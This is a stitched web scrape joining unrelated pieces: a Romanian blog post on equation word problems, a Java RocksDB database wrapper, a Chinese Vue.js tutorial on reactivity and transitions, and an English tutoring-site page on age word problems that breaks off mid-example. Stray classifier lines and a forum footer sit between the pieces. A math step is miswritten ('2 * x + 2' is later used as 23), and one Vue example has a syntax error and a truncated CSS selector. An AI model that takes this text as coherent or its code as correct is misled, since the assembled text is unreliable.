| 0.814846 |
Bitbucket pipeline keeps running indefinitely
I want to set up a remote git pull using a bitbucket pipeline. Thinks I have tackled in the first place.
Now I am running into the problem, that when I command is finished. It is just throwing an error (but the command did work)
image: atlassian/default-image:latest
pipelines:
default:
- step:
deployment: staging
script:
- ssh xx@xxx -tt -p 7685 "ifconfig"
What did I do wrong :)? The pipeline is a connection to the remote host, so well that is working.
The command on the remote server did not work though, it says ifconfig not found.
Try with a command you know to work, like ls.
Also, I would recommend creating an SSH key without password to log in to the remote server, and then store that as a pipeline secret. Instead of using username/password to log in.
2 Likes
Hey @rpkamp this seem to fix it.
Did I use a password? I have a ssh key that I use to login on the remote server
Ah right, I misread.
Never mind :slight_smile:
1 Like
|
__label__pos
| 0.696496 |
Source code for airflow.sensors.s3_prefix_sensor
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from airflow.sensors.base_sensor_operator import BaseSensorOperator
from airflow.utils.decorators import apply_defaults
[docs]class S3PrefixSensor(BaseSensorOperator): """ Waits for a prefix to exist. A prefix is the first part of a key, thus enabling checking of constructs similar to glob airfl* or SQL LIKE 'airfl%'. There is the possibility to precise a delimiter to indicate the hierarchy or keys, meaning that the match will stop at that delimiter. Current code accepts sane delimiters, i.e. characters that are NOT special characters in the Python regex engine. :param bucket_name: Name of the S3 bucket :type bucket_name: str :param prefix: The prefix being waited on. Relative path from bucket root level. :type prefix: str :param delimiter: The delimiter intended to show hierarchy. Defaults to '/'. :type delimiter: str """ template_fields = ('prefix', 'bucket_name') @apply_defaults def __init__(self, bucket_name, prefix, delimiter='/', aws_conn_id='aws_default', *args, **kwargs): super(S3PrefixSensor, self).__init__(*args, **kwargs) # Parse self.bucket_name = bucket_name self.prefix = prefix self.delimiter = delimiter self.full_url = "s3://" + bucket_name + '/' + prefix self.aws_conn_id = aws_conn_id
[docs] def poke(self, context): self.log.info('Poking for prefix : {self.prefix}\n' 'in bucket s3://{self.bucket_name}'.format(**locals())) from airflow.hooks.S3_hook import S3Hook hook = S3Hook(aws_conn_id=self.aws_conn_id) return hook.check_for_prefix( prefix=self.prefix, delimiter=self.delimiter, bucket_name=self.bucket_name)
|
__label__pos
| 0.993635 |
Dmitriy Stupivtsev Dmitriy Stupivtsev - 7 months ago 56
Swift Question
inputAccessoryViewController height modification
I'm trying to use inputAccessoryViewController in my app, but faced a problem with changing height of accessory view. I tried to change frame/bounds of the view, I also tried to handle height of the accessory view using constraints. But nothing worked well.
InputViewController code:
import UIKit
import RxSwift
import RxCocoa
class InputViewController: UIInputViewController {
private var separatorView: UIView?
private var answerTextView: ConstrainedTextView?
private var closeButton: UIButton?
private var tipLabel: UILabel?
// private var generalHeightConstraint: NSLayoutConstraint?
private var separatorHeightConstraint: NSLayoutConstraint?
private var answerTextViewBottomConstraint: NSLayoutConstraint?
private let junk = DisposeBag()
override func viewDidLoad() {
super.viewDidLoad()
configureView()
}
private func configureView() {
// view.autoresizingMask = .flexibleHeight
view.backgroundColor = UIColor.white
view.frame = CGRect(x: 0, y: 0, width: view.superview?.bounds.width ?? 100, height: 70)
// view.translatesAutoresizingMaskIntoConstraints = false
// generalHeightConstraint = AutoLayoutSetAttribute(view, .height, 70)
// Separator
separatorView = UIView()
separatorView?.backgroundColor = UIColor.gray
separatorView?.translatesAutoresizingMaskIntoConstraints = false
view.addSubview(separatorView!)
AutoLayoutEqualizeSuper(separatorView, .left, 0)
AutoLayoutEqualizeSuper(separatorView, .right, 0)
AutoLayoutEqualizeSuper(separatorView, .top, 0)
separatorHeightConstraint = AutoLayoutSetAttribute(separatorView, .height, 1)
// Close Button
closeButton = UIButton(type: .system)
closeButton?.setTitle("Hide", for: .normal)
closeButton?.titleLabel?.font = UIFont.systemFont(ofSize: 17)
closeButton?.translatesAutoresizingMaskIntoConstraints = false
closeButton?.addTarget(self, action: #selector(dismissKeyboard), for: .touchUpInside)
view.addSubview(closeButton!)
AutoLayoutSetAttribute(closeButton, .width, 70)
AutoLayoutEqualizeSuper(closeButton, .right, -5)
view.addConstraint(NSLayoutConstraint(item: closeButton!, attribute: .top, relatedBy: .equal, toItem: separatorView, attribute: .bottom, multiplier: 1, constant: 0))
// Tip Label
tipLabel = UILabel()
tipLabel?.textColor = UIColor.darkGray
tipLabel?.text = "Input answer:"
tipLabel?.font = UIFont.systemFont(ofSize: 17)
tipLabel?.translatesAutoresizingMaskIntoConstraints = false
view.addSubview(tipLabel!)
AutoLayoutEqualizeSuper(tipLabel, .left, 5)
AutoLayoutEqualize(tipLabel, separatorView, .top, 0)
view.addConstraint(NSLayoutConstraint(item: tipLabel!, attribute: .right, relatedBy: .equal, toItem: closeButton, attribute: .left, multiplier: 1, constant: 0))
// Text View
answerTextView = ConstrainedTextView()
answerTextView?.backgroundColor = UIColor.white
answerTextView?.delegate = self
answerTextView?.scrollsToTop = false
answerTextView?.showsVerticalScrollIndicator = false
answerTextView?.font = REG_FONT(15)
answerTextView?.maxLines = 5
answerTextView?.translatesAutoresizingMaskIntoConstraints = false
answerTextView?.layer.masksToBounds = true
answerTextView?.layer.cornerRadius = 7
answerTextView?.layer.borderColor = UIColor.lightGray.withAlphaComponent(0.7).cgColor
answerTextView?.layer.borderWidth = 1
view.addSubview(answerTextView!)
AutoLayoutEqualizeSuper(answerTextView, .left, 5)
AutoLayoutEqualizeSuper(answerTextView, .right, -5)
answerTextViewBottomConstraint = AutoLayoutEqualizeSuper(answerTextView, .bottom, -5)
view.addConstraint(NSLayoutConstraint(item: answerTextView!, attribute: .top, relatedBy: .equal, toItem: tipLabel, attribute: .bottom, multiplier: 1, constant: 0))
view.addConstraint(NSLayoutConstraint(item: answerTextView!, attribute: .top, relatedBy: .equal, toItem: closeButton, attribute: .bottom, multiplier: 1, constant: 0))
answerTextView?
.rx
.observe(CGRect.self, "bounds")
.distinctUntilChanged {
$0?.size.height == $1?.size.height
}
.subscribe { [unowned self] newBounds in
if var newHeight = newBounds.element??.size.height,
let separatorHeight = self.separatorHeightConstraint?.constant,
let buttonHeight = self.closeButton?.intrinsicContentSize.height,
let bottomSpace = self.answerTextViewBottomConstraint?.constant {
newHeight = newHeight == 0 ? 30 : newHeight
let generalHeight = newHeight + separatorHeight + buttonHeight + abs(bottomSpace)
self.view.frame = CGRect(x: 0, y: 0, width: self.view.superview?.bounds.width ?? 100, height: generalHeight)
// self.generalHeightConstraint?.constant = generalHeight
// UIView.animate(withDuration: 0.2) {
// self.view.setNeedsLayout()
// self.view.layoutIfNeeded()
// }
}
}
.addDisposableTo(junk)
}
}
// MARK: - UITextViewDelegate Protocol Conformance
extension InputViewController: UITextViewDelegate {
func textViewShouldBeginEditing(_ textView: UITextView) -> Bool {
textView.inputAccessoryView = view
return true
}
func textViewShouldEndEditing(_ textView: UITextView) -> Bool {
textView.inputAccessoryView = nil
return true
}
}
View Controller where input accessory VC is used:
import UIKit
class TestViewController: UIViewController {
override var inputAccessoryViewController: UIInputViewController? {
return SDAnswerInputViewController()
}
override var canBecomeFirstResponder: Bool {
return true
}
override func viewDidLoad() {
super.viewDidLoad()
}
}
Can you explain how shall I correctly modify height of input accessory view overriding inputAccessoryViewController?
Answer
The problem was in these two lines:
view.addConstraint(NSLayoutConstraint(item: answerTextView!, attribute: .top, relatedBy: .equal, toItem: tipLabel, attribute: .bottom, multiplier: 1, constant: 0))
view.addConstraint(NSLayoutConstraint(item: answerTextView!, attribute: .top, relatedBy: .equal, toItem: closeButton, attribute: .bottom, multiplier: 1, constant: 0))
The answerTextView couldn't modify it's height because of constraints at the bottom and the top.
|
__label__pos
| 0.995713 |
aboutsummaryrefslogtreecommitdiff
path: root/paludis/repositories/e/vdb_unmerger.cc
blob: a6c062fad7a661f351ab8f4374c736d8dbe1b1bd (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
/* vim: set sw=4 sts=4 et foldmethod=syntax : */
/*
* Copyright (c) 2007, 2008, 2009, 2010 Ciaran McCreesh
* Copyright (c) 2007 Piotr Jaroszyński
*
* This file is part of the Paludis package manager. Paludis is free software;
* you can redistribute it and/or modify it under the terms of the GNU General
* Public License version 2, as published by the Free Software Foundation.
*
* Paludis is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "vdb_unmerger.hh"
#include "vdb_contents_tokeniser.hh"
using namespace paludis;
#include <paludis/util/destringify.hh>
#include <paludis/util/md5.hh>
#include <paludis/environment.hh>
#include <paludis/hook.hh>
#include <paludis/package_database.hh>
#include <paludis/package_id.hh>
#include <paludis/metadata_key.hh>
#include <paludis/util/dir_iterator.hh>
#include <paludis/util/join.hh>
#include <paludis/util/wrapped_forward_iterator.hh>
#include <paludis/util/log.hh>
#include <paludis/util/private_implementation_pattern-impl.hh>
#include <paludis/util/sequence.hh>
#include <paludis/util/tokeniser.hh>
#include <paludis/util/strip.hh>
#include <paludis/util/make_named_values.hh>
#include <paludis/util/simple_visitor_cast.hh>
#include <paludis/util/set.hh>
#include <paludis/util/timestamp.hh>
#include <paludis/output_manager.hh>
#include <paludis/util/safe_ifstream.hh>
#include <list>
#include <map>
#include <vector>
namespace paludis
{
template<>
struct Implementation<VDBUnmerger>
{
VDBUnmergerOptions options;
std::list<std::string> config_protect;
std::list<std::string> config_protect_mask;
Implementation(const VDBUnmergerOptions & o) :
options(o)
{
tokenise_whitespace(o.config_protect(), std::back_inserter(config_protect));
tokenise_whitespace(o.config_protect_mask(), std::back_inserter(config_protect_mask));
}
};
}
VDBUnmerger::VDBUnmerger(const VDBUnmergerOptions & o) :
Unmerger(make_named_values<UnmergerOptions>(
n::environment() = o.environment(),
n::ignore() = o.ignore(),
n::root() = o.root()
)),
PrivateImplementationPattern<VDBUnmerger>(new Implementation<VDBUnmerger>(o)),
_imp(PrivateImplementationPattern<VDBUnmerger>::_imp.get())
{
}
VDBUnmerger::~VDBUnmerger()
{
}
Hook
VDBUnmerger::extend_hook(const Hook & h) const
{
std::tr1::shared_ptr<const FSEntrySequence> bashrc_files(_imp->options.environment()->bashrc_files());
Hook result(Unmerger::extend_hook(h)
("CONFIG_PROTECT", _imp->options.config_protect())
("CONFIG_PROTECT_MASK", _imp->options.config_protect_mask())
("PALUDIS_BASHRC_FILES", join(bashrc_files->begin(), bashrc_files->end(), " ")));
if (_imp->options.package_id())
{
std::string cat(stringify(_imp->options.package_id()->name().category()));
std::string pn(stringify(_imp->options.package_id()->name().package()));
std::string pvr(stringify(_imp->options.package_id()->version()));
std::string pv(stringify(_imp->options.package_id()->version().remove_revision()));
std::string slot(_imp->options.package_id()->slot_key() ? stringify(_imp->options.package_id()->slot_key()->value()) : "");
return result
("P", pn + "-" + pv)
("PNV", pn + "-" + pv)
("PN", pn)
("CATEGORY", cat)
("PR", _imp->options.package_id()->version().revision_only())
("PV", pv)
("PVR", pvr)
("PF", pn + "-" + pvr)
("PNVR", pn + "-" + pvr)
("SLOT", slot)
;
}
return result;
}
bool
VDBUnmerger::config_protected(const FSEntry & f) const
{
std::string tidy(make_tidy(f));
bool result(false);
for (std::list<std::string>::const_iterator c(_imp->config_protect.begin()),
c_end(_imp->config_protect.end()) ; c != c_end && ! result ; ++c)
{
std::string cc(strip_trailing(*c, "/") + "/");
if (tidy == *c || 0 == tidy.compare(0, cc.length(), cc))
result = true;
}
if (result)
for (std::list<std::string>::const_iterator c(_imp->config_protect_mask.begin()),
c_end(_imp->config_protect_mask.end()) ; c != c_end && result ; ++c)
{
std::string cc(strip_trailing(*c, "/") + "/");
if (tidy == *c || 0 == tidy.compare(0, cc.length(), cc))
result = false;
}
return result;
}
std::string
VDBUnmerger::make_tidy(const FSEntry & f) const
{
std::string root_str(stringify(_imp->options.root())), f_str(stringify(f));
if (root_str == "/")
root_str.clear();
if (0 != f_str.compare(0, root_str.length(), root_str))
throw VDBUnmergerError("Can't work out tidy name for '" + f_str + "' with root '" + root_str + "'");
return f_str.substr(root_str.length());
}
namespace
{
struct GetET
{
EntryType visit(const ContentsFileEntry &) const
{
return et_file;
}
EntryType visit(const ContentsDirEntry &) const
{
return et_dir;
}
EntryType visit(const ContentsSymEntry &) const
{
return et_sym;
}
EntryType visit(const ContentsOtherEntry &) const
{
return et_misc;
}
};
EntryType get_et(const ContentsEntry & e)
{
GetET v;
return e.accept_returning<EntryType>(v);
}
}
void
VDBUnmerger::populate_unmerge_set()
{
if (! _imp->options.package_id()->contents_key()->value())
throw VDBUnmergerError("Id '" + stringify(*_imp->options.package_id()) + "' has no contents key");
std::tr1::shared_ptr<const Contents> contents(_imp->options.package_id()->contents_key()->value());
for (Contents::ConstIterator c(contents->begin()), c_end(contents->end()) ;
c != c_end ; ++c)
add_unmerge_entry(get_et(**c), *c);
}
namespace
{
template <typename T_>
const T_ & require_key(const MetadataKeyHolder & h, const std::string & r)
{
MetadataKeyHolder::MetadataConstIterator m(h.find_metadata(r));
if (m == h.end_metadata())
throw InternalError(PALUDIS_HERE, "Expected key '" + r + "' not found");
const T_ * const c(simple_visitor_cast<const T_>(**m));
if (! c)
throw InternalError(PALUDIS_HERE, "Key '" + r + "' is of wrong type");
return *c;
}
}
bool
VDBUnmerger::check_file(const std::tr1::shared_ptr<const ContentsEntry> & e) const
{
const FSEntry f(e->location_key()->value());
if (! (_imp->options.root() / f).exists())
display("--- [gone ] " + stringify(f));
else if (! (_imp->options.root() / f).is_regular_file())
display("--- [!type] " + stringify(f));
else if ((_imp->options.root() / f).mtim().seconds() != require_key<MetadataTimeKey>(*e, "mtime").value().seconds())
display("--- [!time] " + stringify(f));
else
{
try
{
SafeIFStream md5_file(_imp->options.root() / f);
if (MD5(md5_file).hexsum() != require_key<MetadataValueKey<std::string> >(*e, "md5").value())
display("--- [!md5 ] " + stringify(f));
else if (config_protected(_imp->options.root() / f))
display("--- [cfgpr] " + stringify(f));
else
return true;
}
catch (const SafeIFStreamError &)
{
Log::get_instance()->message("e.vdb.contents.md5_failed", ll_warning, lc_no_context)
<< "Cannot get md5 for '" << (_imp->options.root() / f) << "'";
display("--- [!md5?] " + stringify(f));
}
}
return false;
}
bool
VDBUnmerger::check_sym(const std::tr1::shared_ptr<const ContentsEntry> & e) const
{
const FSEntry f(e->location_key()->value());
if (! (_imp->options.root() / f).exists())
display("--- [gone ] " + stringify(f));
else if (! (_imp->options.root() / f).is_symbolic_link())
display("--- [!type] " + stringify(f));
else if ((_imp->options.root() / f).mtim().seconds() != require_key<MetadataTimeKey>(*e, "mtime").value().seconds())
display("--- [!time] " + stringify(f));
else if ((_imp->options.root() / f).readlink() != require_key<MetadataValueKey<std::string> >(*e, "target").value())
display("--- [!dest] " + stringify(f));
else
return true;
return false;
}
bool
VDBUnmerger::check_misc(const std::tr1::shared_ptr<const ContentsEntry> & e) const
{
const FSEntry f(e->location_key()->value());
if (! (_imp->options.root() / f).exists())
display("--- [gone ] " + stringify(f));
return false;
}
bool
VDBUnmerger::check_dir(const std::tr1::shared_ptr<const ContentsEntry> & e) const
{
const FSEntry f(e->location_key()->value());
if (! (_imp->options.root() / f).exists())
display("--- [gone ] " + stringify(f));
else if (! (_imp->options.root() / f).is_directory())
display("--- [!type] " + stringify(f));
else if (DirIterator(_imp->options.root() / f, DirIteratorOptions() + dio_include_dotfiles + dio_first_only) != DirIterator())
display("--- [!empt] " + stringify(f));
else
return true;
return false;
}
void
VDBUnmerger::display(const std::string & message) const
{
_imp->options.output_manager()->stdout_stream() << message << std::endl;
}
VDBUnmergerError::VDBUnmergerError(const std::string & s) throw () :
UnmergerError(s)
{
}
|
__label__pos
| 0.857979 |
R Package medScan
A collection of methods for large scale single mediator hypothesis testing. The six included methods for testing the mediation effect are Sobel’s test, Max P test, joint significance test under the composite null hypothesis, high dimensional mediation testing, divide-aggregate composite null test, and Sobel’s test under the composite null hypothesis. Du, J., Zhou, X., Hao, W., Liu, Y., Smith, J. A., & Mukherjee, B (2022) “Methods for Large-scale Single Mediator Hypothesis Testing: Possible Choices and Comparisons.” arXiv preprint <arXiv:10.48550/arXiv.2203.13293>.
How to install
1. Install R from the R Project Site.
2. Install the remotes R package with install.packages("remotes").
3. Install the medScan package.
remotes::install_github("umich-cphds/medScan")
Example
# simulate data under the mixture null
n=10000
u = runif(n,0,1)
z.alpha = z.beta = rep(NA,0)
pi00 = 0.98
pi10 = 0.01
pi01 = 0.01
for(i in 1:n){
if(u[i]<=pi00){
z.alpha[i] = rnorm(1, 0, 1)
z.beta[i] = rnorm(1, 0, 1)
} else if (u[i]<= pi00+pi10){
z.alpha[i] = rnorm(1, 1, 1)
z.beta[i] = rnorm(1, 0, 1)
} else {
z.alpha[i] = rnorm(1, 0, 1)
z.beta[i] = rnorm(1, 1, 1)
}
}
# obtain p-values
obj = medScan(z.alpha = z.alpha, z.beta = z.beta, method = "Sobel")
qqman::qq(obj$pvalues, xlim = c(0,4), ylim = c(0,4), main = "Sobel")
obj = medScan(z.alpha = z.alpha, z.beta = z.beta, method = "MaxP")
qqman::qq(obj$pvalues, xlim = c(0,4), ylim = c(0,4), main = "MaxP")
obj = medScan(z.alpha = z.alpha, z.beta = z.beta, method = "HDMT")
qqman::qq(obj$pvalues, xlim = c(0,4), ylim = c(0,4), main="HDMT")
obj = medScan(z.alpha = z.alpha, z.beta = z.beta, method = "Sobel_comp")
qqman::qq(obj$pvalues, xlim = c(0,4), ylim = c(0,4), main = "Sobel-comp")
obj = medScan(z.alpha = z.alpha, z.beta = z.beta, method = "JT_comp")
qqman::qq(obj$pvalues, xlim = c(0,4), ylim = c(0,4), main="JT-comp")
obj = medScan(z.alpha = z.alpha, z.beta = z.beta, method = "DACT")
qqman::qq(obj$pvalues, xlim = c(0,4), ylim = c(0,4), main="DACT")
|
__label__pos
| 0.987326 |
Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.
I apologise that this is somewhat incoherent, but hopefully someone will be able to make enough sense of this to understand what I'm trying to achieve and provide pointers.
I have a machine with two network interfaces connected to two different networks (one of which it's providing several other services for, such as DNS), running two separate instances of Samba, one bound to each interface. One of the instances is just a workgroup-style setup using share-level authentication, which is all working fine.
The problem is that I'm looking to join the other instance to an MS Active Directory domain (provided by MS Windows Small Business Server 2003) to enable a subset of the domain users to access the shares from Windows machines on the other network.
The users who need access from the domain environment have accounts (whose names are all-lowercase versions of their domain usernames) on the machine running Samba, but I'm not sure about how to map the UIDs and everything I've read concerns authenticating accounts on that machine against either AD or another LDAP server. To clarify: I only want the credentials for AD users accessing the non-workgroup Samba instance to be authenticated against AD, not the accounts on the machine running Samba.
I hope this is sufficiently clear.
EDIT: In addition to being able to access the Samba shares from AD, I do also need to be able to access a share on the domain from the machine running Samba but would still like everything non-Samba-related to authenticate locally.
share|improve this question
add comment
1 Answer
You can do this fairly easily. You need to preform all the steps for configuring users to authenticate to linux via AD (KRB config, joining the domain), up to bot NOT including the PAM changes. Then you just set SAMBA to use winbind as the authentication source. Here is an old copy of an smb.conf I've used to achieve this same effect:
#======================= Global Settings =====================================
[global]
# Domain Authntication Settings
workgroup = <my domain>
server string = <Sever String>
security = ads
passdb backend = tdbsam
realm = <mydomain.com>
client use spnego = yes
ldap ssl = no
# logging
log level = 5
max log size = 50
# logs split per machine
log file = /var/log/samba/%m.log
# max 50KB per log file, then rotate
; max log size = 50
# User settings
username map = /etc/samba/smbusers
idmap uid = 10000-20000000
idmap gid = 10000-20000000
idmap backend = ad
; template primary group = <ad group>
template shell = /sbin/nologin
# Winbind Settings
winbind separator = +
winbind enum users = Yes
winbind enum groups = Yes
winbind netsted groups = Yes
winbind nested groups = Yes
winbind use default domain = Yes
#Other Globals
unix charset = LOCALE
server string = <my server name>
load printers = no
printing = cups
cups options = raw
; printcap name = /etc/printcap
#obtain list of printers automatically on SystemV
; printcap name = lpstat
; printing = cups
#============================ Share Definitions ==============================
[share]
comment = <share comment>
path = /srv/smb/share
guest ok = yes
valid users = "DOMAIN+testUser"
read only = yes
Also, if you are using Ubuntu there is a bug in the version that was in the 10.04LTS up to a few months ago that just completely broke this setup (nobody can auth) - grab a version from the SAMBA site if this is the case
share|improve this answer
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.629642 |
World Library
Flag as Inappropriate
Email this Article
Boolean datatype
Article Id: WHEBN0022752467
Reproduction Date:
Title: Boolean datatype
Author: World Heritage Encyclopedia
Language: English
Subject: Integer (computer science), PHP, Ruby (programming language), George Boole, VHDL, Hungarian notation, C++, XML-RPC, Constant folding, Vienna Development Method
Collection:
Publisher: World Heritage Encyclopedia
Publication
Date:
Boolean datatype
In computer science, the Boolean or logical data type is a data type, having two values (usually denoted true and false), intended to represent the truth values of logic and Boolean algebra. It is named after George Boole, who first defined an algebraic system of logic in the mid 19th century. The Boolean data type is the primary result of conditional statements, which allow different actions and change control flow depending on whether a programmer-specified boolean condition evaluates to true or false.
Generalities
In programming languages that have a built-in Boolean data type, such as Pascal and Java, the comparison operators such as > and are usually defined to return a Boolean value. Conditional and iterative commands may be defined to test Boolean-valued expressions.
Languages without an explicit Boolean data type, like C90 and Lisp, may still represent truth values by some other data type. Lisp uses an empty list for false, and any other value for true. C uses an integer type, where relational expressions like i > j and logical expressions connected by && and || are defined to have value 1 if true and 0 if false, whereas the test parts of if, while, for, etc., treat any non-zero value as true.[1][2] Indeed, a Boolean variable may be regarded (and be implemented) as a numerical variable with a single binary digit (bit), which can store only two values. It is worth noting that the implementation of booleans in computers are most likely represented as a full word, rather than a bit; this is usually due to the ways computers transfer blocks of information.
Most programming languages, even those that do not have an explicit Boolean type, have support for Boolean algebraic operations such as conjunction (AND, &, *), disjunction (OR, |, +), equivalence (EQV, =, ==), exclusive or/non-equivalence (XOR, NEQV, ^, !=), and not (NOT, ~, !).
In some languages, like Ruby, Smalltalk, and Alice the "true" and "false" values belong to separate classes—e.g. True and False, resp.—so there is no single Boolean "type."
In SQL, which uses a three-valued logic for explicit comparisons because of its special treatment of Nulls, the Boolean data type (introduced in SQL:1999) is also defined to include more than two truth values, so that SQL "Booleans" can store all logical values resulting from the evaluation of predicates in SQL. A column of Boolean type can also be restricted to just TRUE and FALSE though.
In the lambda calculus model of computing, Boolean values can be represented as Church booleans.
ALGOL, Java, and C#
One of the earliest languages to provide an explicit Boolean data type was ALGOL 60 (1960) with values true and false and logical operators denoted by symbols '\wedge' (and), '\vee' (or), '\supset' (implies), '\equiv' (equivalence), and '\neg' (not). Due to input device limitations of the time, however, most compilers used alternative representations for the latter, such as AND or 'AND'.
This approach ("Boolean is a separate built-in primitive data type") was adopted by many later languages, such as ALGOL 68 (1970),[3] Java, and C#.
Fortran
The first version of FORTRAN (1957) and its successor FORTRAN II (1958) did not have logical values or operations; even the conditional IF statement took an arithmetic expression and branched to one of three locations according to its sign; see arithmetic IF. FORTRAN IV (1962), however, followed the ALGOL 60 example by providing a Boolean data type (LOGICAL), truth literals (.TRUE. and .FALSE.), Boolean-valued numeric comparison operators (.EQ., .GT., etc.), and logical operators (.NOT., .AND., .OR.). In FORMAT statements, a specific control character ('L') was provided for the parsing or formatting of logical values.[4]
Lisp and Scheme
The Lisp language (1958) never had a built-in Boolean data type. Instead, conditional constructs like cond assume that the logical value "false" is represented by the empty list (), which is defined to be the same as the special atom nil or NIL; whereas any other s-expression is interpreted as "true". For convenience, most modern dialects of Lisp predefine the atom t to have value t, so that one can use t as a mnemonic notation for "true".
This approach ("any value can be used as a Boolean value") was retained in most Lisp dialects (Common Lisp, Scheme, Emacs Lisp), and similar models were adopted by many scripting languages, even ones that do have a distinct Boolean type or Boolean values; although which values are interpreted as "false" and which are "true" vary from language to language. In Scheme, for example, the "false" value is an atom distinct from the empty list, so the latter is interpreted as "true".
Pascal, Ada, and Haskell
The Pascal language (1978) introduced the concept of programmer-defined enumerated types. A built-in Boolean data type was then provided as a predefined enumerated type with values FALSE and TRUE. By definition, all comparisons, logical operations, and conditional statements applied to and/or yielded Boolean values. Otherwise, the Boolean type had all the facilities which were available for enumerated types in general — such as ordering and use as indices. On the other hand, the conversion between Booleans and integers (or any other types) still required explicit tests or function calls, as in ALGOL 60. This approach ("Boolean is an enumerated type") was adopted by most later languages which had enumerated types, such as Modula, Ada and Haskell.
C, C++, Objective-C, Awk, Perl
The initial implementations of the C language (1972) provided no Boolean type, and to this day Boolean values are commonly represented by integers (ints) in C programs. The comparison operators ('>', '==', etc.) are defined to return a signed integer (int) result, either zero (for false) or 1 (for true). Logical operators ('&&', '||', '!', etc.) and condition-testing statements ('if', 'while') assume that zero is false and all other values are true. One problem with this approach is that the tests if(t==TRUE){...} and if(t) are not equivalent.
After enumerated types (enums) were added to the ANSI version of C (1989), many C programmers got used to defining their own Boolean types as such, for readability reasons. However, enumerated types are equivalent to integers according to the language standards; so the effective identity between Booleans and integers is still valid for C programs.
Standard C (since C99) and several dialects of C such as Objective-C provide definitions of a Boolean type as an integer type and macros for "false" and "true" as 0 and 1, respectively. Thus logical values can be stored in integer variables, and used anywhere integers would be valid, including in indexing, arithmetic, parsing, and formatting. This approach ("Boolean values are just integers") has been retained in all later versions of C.
C++ has a separate Boolean data type ('bool'), but with automatic conversions from scalar and pointer values that are very similar to those of C. This approach was adopted also by many later languages, especially by some scripting ones such as AWK.
Objective-C also has a separate Boolean data type ('BOOL'), with possible values being YES or NO, equivalents of true and false respectively.[5]
Perl has many values of false: the number zero, the strings "0" and "", the empty list "()", and the special value undef.[6] Everything else evaluates to true.
Python, Ruby, and JavaScript
In Python from version 2.3 forward, there is a bool type which is a subclass of int, the standard integer type.[7] It has two possible values: True and False, which are "special versions" of 1 and 0 respectively and behave as such in arithmetic contexts. In addition, a numeric value of zero (integer or fractional), the null value (None), the empty string, and empty containers (i.e. lists, sets, etc.) are considered Boolean false; all other values are considered Boolean true by default.[8] Classes can define how their instances are treated in a Boolean context through the special method __nonzero__ (Python 2) or __bool__ (Python 3). For containers, __len__ (the special method for determining the length of containers) is used if the explicit Boolean conversion method is not defined.
In Ruby, on the other hand, only nil (Ruby's null value) and a special false object are "false", everything else (including the integer 0 and empty arrays) is "true".
In JavaScript, the empty string (""), null, undefined, NaN, +0, −0 and false[9] are sometimes called "falsy", and their complement, "truthy", to distinguish between strictly type-checked and coerced Booleans.[10] Languages such as PHP also use this approach.
SQL
The SQL:1999 standard introduced a BOOLEAN data type as an optional feature (T031). When restricted by a NOT NULL constraint, a SQL BOOLEAN behaves like Booleans in other languages. In SQL however, the BOOLEAN type is nullable by default like all other SQL data types, meaning it can have the special null value as well. Although the SQL standard defines three literals for the BOOLEAN type—TRUE, FALSE and UNKNOWN—, it also says that the NULL BOOLEAN and UNKNOWN "may be used interchangeably to mean exactly the same thing".[11][12] This has caused some controversy because the identification subjects UNKNOWN to the equality comparison rules for NULL. More precisely UNKNOWN = UNKNOWN is not TRUE but UNKNOWN/NULL.[13] As of 2012 few major SQL systems implement the T031 feature.[14] PostgreSQL is a notable exception, although it does not implement the UNKNOWN literal; NULL can be used instead.[15] (PostgreSQL does implement the IS UNKNOWN operator, which is part of an orthogonal feature, F571.) In other SQL implementations various ad hoc solutions are used, like bit, byte, and character to simulate Boolean values.
See also
References
This article was sourced from Creative Commons Attribution-ShareAlike License; additional terms may apply. World Heritage Encyclopedia content is assembled from numerous content providers, Open Access Publishing, and in compliance with The Fair Access to Science and Technology Research Act (FASTR), Wikimedia Foundation, Inc., Public Library of Science, The Encyclopedia of Life, Open Book Publishers (OBP), PubMed, U.S. National Library of Medicine, National Center for Biotechnology Information, U.S. National Library of Medicine, National Institutes of Health (NIH), U.S. Department of Health & Human Services, and USA.gov, which sources content from all federal, state, local, tribal, and territorial government publication portals (.gov, .mil, .edu). Funding for USA.gov and content contributors is made possible from the U.S. Congress, E-Government Act of 2002.
